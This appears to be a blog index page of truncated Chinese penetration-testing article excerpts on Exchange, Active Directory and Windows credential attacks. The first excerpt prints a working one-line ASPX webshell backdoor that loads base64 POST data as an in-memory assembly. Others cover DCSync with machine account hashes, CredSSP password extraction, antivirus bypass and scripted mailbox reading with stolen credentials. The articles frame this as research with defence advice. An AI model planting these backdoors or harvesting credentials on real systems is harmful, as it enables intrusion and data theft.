Good in study, attitude and health

  • 渗透基础——Exchange一句话后门的实现

    0x00 前言 在之前的文章《对APT34泄露工具的分析-HighShell和HyperShell》分析了HyperShell中的ExpiredPassword.aspx,通过向Exchange登录页面下的ExpiredPassword.aspx添加代码实现后门功能。 本文将要沿着这个思路,在技术角度介绍另外两种实现方法,开源测试代码,给出防御建议。 0x01 简介 本文将要介绍以下内容: 两种后门代码的实现 通过C Sharp代码实现后门连接 通过Python代码实现后门连接 利用分析 防御建议 0x02 两种后门代码的实现 1.内存加载.net程序集 这里参考《利用动态二进制加密实现新型一句话木马之.NET篇》 为了缩短代码长度,示例test1.aspx的代码如下: <%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%> 代码会判断是否带有POST请求的参数demodata,如果存在会将POST请求中参数demodata的内容作base64解密,在内存加载并调用名为Payload的实例 注: sharpyshell也使用相同的内存加载方式 我们可以通过以下方式生成Payload: (1)新建文件demo.cs 代码如下: using System; using System.Diagnostics; public class Payload { public override bool Equals(Object obj) { Process.Start("calc.exe"); return true; } } (2)编译生成dll文件 命令如下: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe...

  • 渗透基础——支持NTLM Over HTTP协议的Webshell实现

    0x00 前言 在某些环境下,访问Web服务器的资源需要通过NTLM Over HTTP协议进行NTLM认证,而我们在这样的Web服务器使用Webshell时,不仅需要考虑NTLM认证的实现,还需要满足能够在命令行下使用。 本文仅在技术研究的角度介绍一种实现方法,开源代码,分享脚本开发细节。 0x01 简介 本文将要介绍以下内容: 设计思路 脚本开发细节 开源代码 0x02 设计思路 通过NTLM Over HTTP协议进行NTLM认证的Web服务器有很多,这里分别以Exchange和SharePoint为例 (1)Exchange测试环境 文件保存的绝对路径: C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Autodiscover\test.aspx 对应的URL为: https://URL/Autodiscover/test.aspx (2)SharePoint测试环境 文件保存的绝对路径: C:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\test.aspx 对应的URL为: http://URL/_layouts/15/test.aspx 访问test.aspx时均需要通过NTLM Over HTTP协议进行NTLM认证 这里以一个支持cmd命令的webshell为例进行测试,webshell的地址为: https://github.com/tennc/webshell/blob/master/aspx/asp.net-backdoors/cmdexec.aspx 如下图 这个webshell需要通过浏览器进行操作,首先完成NTLM认证,接着填入正确的Auth Key和要执行的cmd命令 我们的目标是满足能够在命令行下使用,可以以此为模板进行修改,设计思路如下: (1)execCmd.aspx 接收Form表单请求作为参数,对Auth Key进行验证 如果验证失败,返回空结果 如果验证成功,执行传入的cmd命令并返回执行结果 (2)aspxCmdNTLM.py 命令行脚本...

  • 渗透基础——利用IMAP协议读取邮件

    0x00 前言 在渗透测试中,当我们获得了用户的邮箱凭据,需要对邮箱内容进行分析时,可以选择通过IMAP协议实现自动化来提高效率。 本文以Exchange为例,介绍通过IMAP协议下载邮件和附件的方法,开源代码,分享脚本编写细节。 0x01 简介 本文将要介绍以下内容: 基础知识 Exchange开启IMAP功能和登录日志 Python3实现细节 开源代码 0x02 基础知识 1.IMAP 全称是Internet Mail Access Protocol,即交互式邮件存取协议 是一种邮件获取协议,可以从邮件服务器上获取邮件的信息 使用端口143 2.IMAP4_SSL 全称是IMAP over SSL,是IMAP协议基于SSL安全协议之上的一种变种协议 继承了SSL安全协议的非对称加密的高度安全可靠性,可防止邮件泄露,也是用来接收邮件的 使用端口993 3.Python3 imaplib库 官方文档: https://docs.python.org/3/library/imaplib.html 该模块定义了三个类,IMAP4,IMAP4_SSL和 IMAP4_stream 为了提高安全性,我们通常使用用于安全连接的子类IMAP4_SSL 4.Python3 email库 官方文档: https://docs.python.org/3/library/email.html 当我们使用imaplib库读取邮件时,需要使用email库将接收的消息转换为EmailMessage对象,可以更加方便的对邮件内容进行处理 0x03 Exchange开启IMAP功能和登录日志 默认情况下,Exchange中未启用IMAP4客户端连接 参考资料: https://docs.microsoft.com/en-us/exchange/clients/pop3-and-imap4/configure-imap4?view=exchserver-2019 开启方法如下: 1.启动IMAP4服务,并将服务配置为自动启动 Powershell命令如下: Start-Service MSExchangeIMAP4; Start-Service MSExchangeIMAP4BE...

  • 渗透基础——活动目录信息的获取2:Bypass AV

    0x00 前言 在之前的文章《渗透基础——活动目录信息的获取》以获取活动目录中所有用户、所有计算机和所有组为例,介绍常用的信息获取方法。 但是在实际使用过程中,一些工具会被杀毒软件拦截。 所以本文将要对获取方法进行补充,同时绕过杀毒软件的拦截。 0x01 简介 本文将要介绍以下内容: 使用csvde获取活动目录信息 使用ldifde获取活动目录信息 使用AdFind获取活动目录信息 使用C#开发的轻量级获取工具 0x02 使用csvde获取活动目录信息 说明文档: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732101(v=ws.11) 使用csvde导出的文件格式为csv,可以使用Microsoft Excel查看 默认只能在以下系统使用,例如: Windows Server 2003 Windows Server 2008 Windows Server 2003 R2 Windows Server 2008 R2 Windows Server 2012, Windows Server 2003 with SP1 Windows 8 … 1.导出当前域内活动目录信息示例 导出当前域内所有信息: csvde -f all.csv 导出当前域内所有用户信息:...

  • 域渗透——使用MachineAccount实现DCSync

    0x00 前言 在之前的文章《域渗透——DCSync》提到过DCSync的利用条件: 获得以下任一用户的权限: Administrators组内的用户 Domain Admins组内的用户 Enterprise Admins组内的用户 域控制器的计算机帐户 本文将要补全上篇文章中未提到的最后一种利用方法,介绍如何通过域控制器的计算机帐户口令hash实现DCSync 0x01 简介 本文将要介绍以下内容: MachineAccount简介 获得MachineAccount口令hash的方法 使用MachineAccount实现DCSync 防御检测 0x02 MachineAccount简介 MachineAccount是每台计算机在安装系统后默认生成的计算机帐户 计算机帐户的密码存储在注册表的位置:HKLM\SECURITY\Policy\Secrets\$machine.ACC 如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的NTDS.dit文件中 计算机帐户的密码默认每30天自动更新,密码长度为120个字符,所以说,即使获得了计算机帐户密码的hash,也很难还原出计算机帐户的明文口令 关闭当前计算机帐户密码自动更新的两种方法(适用于工作组): 1.修改组策略 组策略位置: Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\ 如下图 默认未启用,如果设置为启用后,将会停止更新密码 参考资料: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc785826(v=ws.10) 2.直接修改注册表 注册表位置:HKLM\System\CurrentControlSet\Services\Netlogon\Parameters\ 将DisablePasswordChange的值设为1 关闭域内计算机帐户密码自动更新的两种方法(适用于域网络): 1.修改组策略 这里需要修改域组策略,在域控制器上打开Group Policy Management后,选择Default Domain Policy 如下图 组策略位置: Computer...

  • AsyncRAT利用分析

    0x00 前言 AsyncRAT是一款使用C Sharp开发的C2工具,本文仅在技术研究的角度分析AsyncRAT的技术细节,介绍检测方法。 注: 本文选择的AsyncRAT更新日期为2020年5月9日 0x01 简介 AsyncRAT的优点 AsyncRAT的技术细节 检测方法 0x02 AsyncRAT的优点 AsyncRAT使用C Sharp开发,应用于Windows系统,具有以下优点: 支持从Pastebin.com读取C2服务器的配置信息 支持内存加载PE文件 支持动态编译并执行C#或者VB代码 支持U盘感染,能够感染U盘中所有使用.NET开发的exe文件 支持自动读取Firefox和Chrome浏览器中保存的密码 通过欺骗用户点击的方式绕过UAC进行提权 通过C#接口技术,提高程序的扩展性,在程序实现上将每一个功能对应一个类,编译成dll文件,在需要加载的时候,由Server发送至Client,Client通过Activator.CreateInstance将类实例化,进而调用类的方法。 0x03 AsyncRAT的技术细节 本节按照AsyncRAT控制面板上的功能逐个进行分析,如下图 1.SendFile (1)ToMemory 内存加载exe文件,支持以下两种类型: Reflection 使用Assembly.Load加载C#程序 更多细节可参考之前的文章《从内存加载.NET程序集(Assembly.Load)的利用分析》 RunPE 通过替换进程内存的方式加载exe文件 可选择以下程序作为被注入的程序: aspnet_compiler.exe RegAsm.exe MSBuild.exe RegSvcs.exe vbc.exe 注: 以上5个exe文件位于Microsoft.NET Framework的安装目录,同AsyncClient.exe的位数保持一致 使用32位的AsyncClient.exe反弹回的Session,默认会寻找32位Microsoft.NET Framework的安装目录,例如:C:\Windows\Microsoft.NET\Framework\v4.0.30319 使用64位的AsyncClient.exe反弹回的Session,默认会寻找64位Microsoft.NET Framework的安装目录,例如:C:\Windows\Microsoft.NET\Framework64\v4.0.30319 RunPE操作将启动以上5个exe文件中的一个,通过ReadProcessMemory、VirtualAllocEx、WriteProcessMemory和ResumeThread实现对进程内存的修改,替换成要加载的exe文件 这里需要注意要加载的exe文件需要同AsyncClient.exe的位数保持一致 使用32位的AsyncClient.exe反弹回的Session,使用RunPE操作只能加载32位的exe文件 使用64位的AsyncClient.exe反弹回的Session,使用RunPE操作只能加载64位的exe文件...

  • 内存加载Seatbelt的实现

    0x00 前言 Seatbelt是一个C#项目,可以用来对主机进行安全检查,在进攻和防御的角度都能发挥作用。 通过一条命令,就能够获得当前主机的多项配置信息,方便实用。 为了能够扩展Seatbelt的使用场景,在不修改Seatbelt任何代码的前提下,本文将要介绍两种通过内存加载Seatbelt的方法(Assembly.Load和execute-assembly),分别补全向.NET程序集的Main函数传入参数的实现代码。 之前的文章《从内存加载.NET程序集(Assembly.Load)的利用分析》和《从内存加载.NET程序集(execute-assembly)的利用分析》 只介绍了向指定类的方法传入参数的实现代码 0x01 简介 本文将要将介绍以下内容: Seatbelt的编译和使用 使用Assembly.Load加载Seatbelt并传入参数的方法 使用execute-assembly加载Seatbelt并传入参数的方法 Visual Studio2015在64位平台下使用汇编代码的方法 0x02 Seatbelt的编译和使用 1.编译 工程地址: https://github.com/GhostPack/Seatbelt 支持.NET 3.5和4.0 需要使用Visual Studio2017或者更高的版本进行编译 2.使用 需要传入参数指定具体的命令,例如运行所有检查并返回所有输出: Seatbelt.exe -group=all -full 详细的命令可参考项目的说明: https://github.com/GhostPack/Seatbelt#command-line-usage 0x03 使用Assembly.Load加载Seatbelt并传入参数的方法 实现语言:C# 实现思路: 将Seatbelt.exe作base64编码后保存到数组中,再使用Assembly.Load()作base解码后进行加载,最后向Main函数传入参数 实现代码: 1.将Seatbelt.exe作base64编码并返回结果 c#实现代码: using System; using System.Reflection; namespace TestApplication { public class Program {...

  • 渗透技巧——通过CredSSP导出用户的明文口令

    0x00 前言 在渗透测试中,为了获得Windows系统中的用户口令,通常会选择读取lsass进程的内存。这种方法不仅需要获得系统的管理员权限,而且在更多情况下需要绕过系统对lsass进程的保护。 我在之前的文章《Windows下的密码hash——Net-NTLMv1介绍》曾介绍过使用InternalMonologue获得当前用户凭据的方法(通过SSPI调用对NTLM身份验证包(MSV1_0)的本地过程调用,以计算出NetNTLM响应),不需要对lsass进程操作。 本文将要介绍另外一种获得当前用户口令的方法,同样不需要对lsass进程操作。 这是Benjamin @gentilkiwi Delpy开源的kekeo在2018年添加的功能,只需要修改Windows系统的组策略,就能够以普通用户的权限获得用户的明文口令。 本文将要对其中的原理进行简要介绍,分析不同环境下的利用思路,给出防御建议。 0x01 简介 本文将要介绍以下内容: 实现原理 实现方法 利用分析 防御检测 0x02 实现原理 1.基础知识 CredSSP 全称Credential Security Support Provider protocol CredSSP协议的目的是将用户的明文密码从CredSSP客户端委派给CredSSP服务器 CredSSP通常应用于远程桌面服务(Remote Desktop Protocol)和Windows远程管理(Windows Remote Management)(例如Powershell Remoting) CredSSP提供了加密的传输层安全协议通道。协商协议使用Kerberos和NTLM 参考资料: https://docs.microsoft.com/en-us/windows/win32/secauthn/credential-security-support-provider 2.通过组策略设置CredSSP的凭据分配 通过组策略可以指定使用CredSSP组件的应用程序是否发送默认凭据 组策略位置:Computer Configuration->Administrative Templates->System->Credentials Delegation 如下图 Allow delegating default credentials表示在通过使用受信任的X509证书或Kerberos实现服务器身份验证时自动发送当前用户的凭据 Allow delegating default credentials...

  • 渗透基础——通过Outlook Web Access(OWA)读取Exchange邮件的命令行实现

    0x00 前言 Outlook Web Access的缩写是OWA,是Exchange用于Web方式收发邮件的界面,默认对所有邮箱用户开启。 通常,我们会使用浏览器访问OWA并读取邮件。但站在渗透测试的角度,我们需要通过命令行实现相同的功能。 目前我没有看到合适的开源代码和参考资料,于是打算基于自己的理解编写Python代码实现读取邮件和下载附件的功能。 0x01 简介 本文将要介绍以下内容: 实现思路 实现细节 编写程序需要注意的问题 开源代码 使用流程 0x02 实现思路 我暂时没有找到介绍OWA协议格式的资料,所以只能通过抓包的方式实现 这里我使用Chrome浏览器自带的抓包工具,在Chrome界面按F12选择Network即可 0x03 实现细节 1.登录操作 访问的url为https://<domain>/owa/auth.owa 需要发送POST请求,数据格式: destination=https://<domain>/owa&flags=4&forcedownlevel=0&username=<username>&password=<password>&passwordText=&isUtf8=1 登录成功后,Cookie包括X-OWA-CANARY,可以作为判断依据 实际登录过程一共发送了三个数据包,如下图 在程序实现上,使用Python的requests库不需要考虑这个细节 完整的实现代码已上传至github,地址如下: https://github.com/3gstudent/Homework-of-Python/blob/master/checkOWA.py 代码实现了对口令的验证 这里需要注意OWA只能使用明文口令登录,无法使用hash 2.访问资源 通过抓包发现,基本上每个操作会按照以下格式实现: 发送POST包 Header中需要设置X-OWA-CANARY和Action X-OWA-CANARY可通过登录成功后返回的Cookie获得 需要设置Cookie POST包的数据格式为JSON 返回结果也是JSON格式 为了实现读取邮件内容和下载附件,我们需要通过程序实现以下操作: (1)读取文件夹下所有邮件的信息 访问的url为https://<domain>/owa/service.svc?action=FindItem 对应的Action为FindItem POST包的数据格式: {"__type":"FindItemJsonRequest:#Exchange","Header":{"__type":"JsonRequestHeaders:#Exchange","RequestServerVersion":"Exchange2013","TimeZoneContext":{"__type":"TimeZoneContext:#Exchange","TimeZoneDefinition":{"__type":"TimeZoneDefinitionType:#Exchange","Id":"SA Pacific Standard Time"}}},"Body":{"__type":"FindItemRequest:#Exchange","ItemShape":{"__type":"ItemResponseShape:#Exchange","BaseShape":"IdOnly"},"ParentFolderIds":[{"__type":"DistinguishedFolderId:#Exchange","Id":"<Folder>"}],"Traversal":"Shallow","Paging":{"__type":"IndexedPageView:#Exchange","BasePoint":"Beginning","Offset":0,"MaxEntriesReturned":999999},"ViewFilter":"All","ClutterFilter":"All","IsWarmUpSearch":0,"ShapeName":"MailListItem","SortOrder":[{"__type":"SortResults:#Exchange","Order":"Descending","Path":{"__type":"PropertyUri:#Exchange","FieldURI":"DateTimeReceived"}}]}} 其中<Folder>需要修改为具体的文件夹名称,例如inbox或sentitems,MaxEntriesReturned我们可以指定为999999...

  • 渗透基础——域用户的密码永不过期属性

    0x00 前言 在域环境中,域用户的凭据是十分重要的信息。为了增强安全性,域组策略会设置所有域用户口令的最长有效时间,到达过期时间后强制用户更改口令。 在实际环境中,有些域用户需要设置为密码永不过期,这可以通过添加密码永不过期属性来实现。 在域渗透中,我们需要枚举出具有密码永不过期属性的域用户,也需要能够将某个域用户设置为密码永不过期。 相对的站在防御角度,我们需要尽可能减少具有密码永不过期属性的域用户,也需要能够实时掌握这个域用户列表。 所以本文将会介绍不同条件下多种枚举、添加和删除密码永不过期属性的方法,分析原理,开源代码。 0x01 简介 本文将要介绍以下内容: 实现原理 枚举密码设置为永不过期的用户 向指定用户添加密码永不过期属性的方法 向指定用户删除密码永不过期属性的方法 0x02 实现原理 域用户的密码永不过期属性保存在域用户的userAccountControl属性中 userAccountControl属性使用数字表示,数值是多个具体属性数值的总和 每个具体属性对应一个不同的数值,具体的数值可参考:https://support.microsoft.com/en-us/help/305144/how-to-use-useraccountcontrol-to-manipulate-user-account-properties 下面举例进行说明: 用户test1的userAccountControl属性值为514,那么这个用户的具体属性如下: ACCOUNTDISABLE,2 NORMAL_ACCOUNT,512 计算方法为2+512=514 添加密码永不过期属性的方法: 密码永不过期属性对应的值为65536(DONT_EXPIRE_PASSWORD),将userAccountControl属性值514再加上65536,设置为66048即可 注: 在程序设计上,为了可重复使用,采用的方法是同65536作按位或运算(运算符|) 按位或运算的运算规则:参加运算的两个数,按二进制位进行或运算,只要对应的二进位有一个为1时,结果位就为1,否则为0 删除密码永不过期属性的方法: 将userAccountControl属性值减去65536即可 注: 在程序设计上,为了可重复使用,采用的方法是同65536作按位异或运算(运算符^) 按位异或运算的运算规则:参加运算的两个数,按二进制位进行”异或”运算,如果两个相应位相同,则结果为0,否则为1 查看密码永不过期属性的方法: userAccountControl属性值是各个数值的总和,我们无法通过简单的加减法计算出userAccountControl属性值是否包括65536这个被加数 这里可以通过按位与运算(运算符&)来实现 按位与运算的运算规则:参加运算的两个数,按二进制位进行”与”运算,只有两个数的二进制同时为1,结果才为1,否则为0 查看密码永不过期属性的计算方法: 将userAccountControl属性值同65536做按位与运算,如果结果为65536,那么代表具有密码永不过期的属性 0x03 枚举密码设置为永不过期的用户 我们在域控制器上,通过Active Directory Users and Computers查看每个域用户的Account属性,可以看到用户是否设置为密码永不过期,如下图 下面介绍不同环境下的枚举方法 1.从域内进行枚举的方法 (1)Windows系统使用Powershell...